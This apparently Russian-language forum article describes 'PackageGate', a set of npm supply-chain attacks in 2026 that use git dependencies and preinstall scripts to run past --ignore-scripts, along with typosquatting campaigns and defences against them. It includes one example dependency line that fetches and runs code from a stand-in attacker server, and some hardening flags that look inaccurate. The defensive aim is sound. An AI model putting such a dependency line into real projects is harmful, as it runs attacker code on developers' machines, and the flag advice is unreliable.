PackageGate и zero-day уязвимости npm в 2026: защита от git-зависимостей и preinstall
-

PackageGate в 2026 году - это шесть zero-day уязвимостей в npm, pnpm, vlt и Bun. Они позволяют обходить флаги вроде --ignore-scripts через git-зависимости и preinstall-скрипты. Разберём, как это работает и как защитить проекты от компрометации.
Такие атаки крадут секреты, CI-токены и API-ключи прямо из dev-окружения. Защита нужна всем, кто юзает npm ежедневно. Пройдёмся по примерам, уязвимостям и инструментам, чтоб не попасться на хук.
PackageGate: обход защит через git-зависимости
PackageGate стартовал в январе 2026. Злоумышленники нашли дыру: npm не патчит обход --ignore-scripts через git-зависимости в .npmrc. Ты добавляешь зависимость из git-репо, и вредоносный preinstall-скрипт запускается, даже если флаг игнора скриптов стоит. Это не видно стандартным сканерам вроде npm audit.
npm заявил, что это ‘ожидаемое поведение’ - ответственность на юзерах. pnpm, vlt и Bun частично пофиксили свои CVE-2025-69263/69264. Но в реале это значит, что любой git-хаб с малварью может внедриться в твой бандл. Пример: зависимость “git+https://evil-server.com/malicious.git” тянет код с сервера атакующего и выполняет его на твоей машине.
- Git-обход в действии: preinstall из git-репо игнорирует --ignore-scripts, потому что скрипт не в пакете, а подгружается динамически.
- Нюанс: .npmrc позволяет указать репо без локального кода, сканеры слепы.
- Последствия: Кража SSH-ключей, токенов, истории VSCode.
Уязвимость Менеджер Статус Риск Обход --ignore-scripts npm Не патчится Высокий Lockfile коллизии pnpm/vlt/Bun Патчи вышли Средний Preinstall из git Все Открыто Критический Typosquatting и компрометация preinstall-скриптов
Typosquatting - классика: поддельные пакеты вроде ambar-src вместо ember-source. В феврале 2026 такой фейк скачали 50k раз, malware активировался на npm install через preinstall. Ещё SANDWORM_MODE в 19 пакетах крадёт крипто-ключи и CI-секреты.
Preinstall-скрипты - киллер-фича для атак. Они бегут до установки, под видом легитимных команд. StegaBin в конце февраля: 26 пакетов-имитаторов express, lodash, jsonwebtoken. Расшифровывают стеганографию из Pastebin, тянут RAT и девять модулей для сканирования. TruffleHog ищет секреты в твоём проекте автоматически.
- Примеры атак:
- ambar-src: 50k+ установок, malware в preinstall.
- StegaBin: Typosquatting + RAT, крадёт VSCode config, SSH, Git history.
- PhantomRaven: 88 пакетов с git-зависимостями, динамическая подгрузка малвари.
Метод Пример Что крадёт Typosquatting ambar-src Крипто-ключи Preinstall RAT StegaBin SSH, токены, буфер Аккаунт-хайджек debug, chalk API-ключи AI Защита проектов: инструменты и практики
Начни с npm audit и --ignore-scripts по дефолту. Но это не спасёт от git-обходов - юзай lockfile с SHA-512, проверяй package-lock.json на коллизии SHA-1. Включи .npmrc с strict-peer-deps и fund=false, чтоб не тянуть подозрительное.
Ключ - аудит зависимостей: socket.dev или snyk сканируют git-зависимости и preinstall. В CI добавь steps: git clone без подмодулей, npm ci с --dry-run. Для фронта/ноды - рендери deps в контейнере, без root. Ещё: 2FA на npm-аккаунтах, scoped пакеты только trusted.
- Базовые шаги:
npm install --ignore-scripts --no-fundвсегда.- Аудит:
npm audit --audit-level moderate, фиксить auto. - Lockfile: генерируй с
npm ci --strict-peer-deps. - Сканеры: socket, ossf-scorecard для git-deps.
Инструмент Что ловит Плюсы npm audit Known vulns Быстро, built-in Socket.dev Git/preinstall Обход PackageGate Snyk Typosquatting CI-интеграция
Здравствуйте! Похоже, вас заинтересовала эта беседа, но у вас ещё нет аккаунта.
Надоело каждый раз пролистывать одни и те же посты? Зарегистрировав аккаунт, вы всегда будете возвращаться на ту же страницу, где были раньше, и сможете выбирать, получать ли уведомления о новых ответах (по электронной почте или в виде push-уведомлений). Вы также сможете сохранять закладки и ставить лайки постам, чтобы выразить свою благодарность другим участникам сообщества.
С вашими комментариями этот пост мог бы стать ещё лучше 💗
Зарегистрироваться Войти© 2024 - 2026 ExLends, Inc. Все права защищены.